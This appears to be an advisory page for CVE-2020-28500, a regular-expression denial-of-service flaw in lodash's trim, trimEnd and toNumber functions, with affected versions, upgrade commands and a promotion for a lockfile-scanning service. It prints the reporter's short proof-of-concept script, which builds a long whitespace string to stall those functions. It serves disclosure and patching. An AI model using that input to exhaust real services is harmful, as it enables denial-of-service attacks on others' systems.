MediumGHSA-29mw-wpgm-hmr9CVE-2020-28500

Regular Expression Denial of Service (ReDoS) in lodash

Published 6 Jan 2022 · Updated 29 Sept 2025

Affected packages

Affected
>=4.0.0 <4.17.21
Fixed in
4.17.21
Update to the fixed version for your release line, for example:npm install lodash@4.17.21
Affected
>=4.0.0 <4.17.21
Fixed in
4.17.21
Update to the fixed version for your release line, for example:npm install lodash-es@4.17.21
Affected
>=4.0.0 <=4.5.1
Fixed in
No fix released
Affected
>=4.0.0 <=4.5.1
Fixed in
No fix released

Details

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Is GHSA-29mw-wpgm-hmr9 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected lodash, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.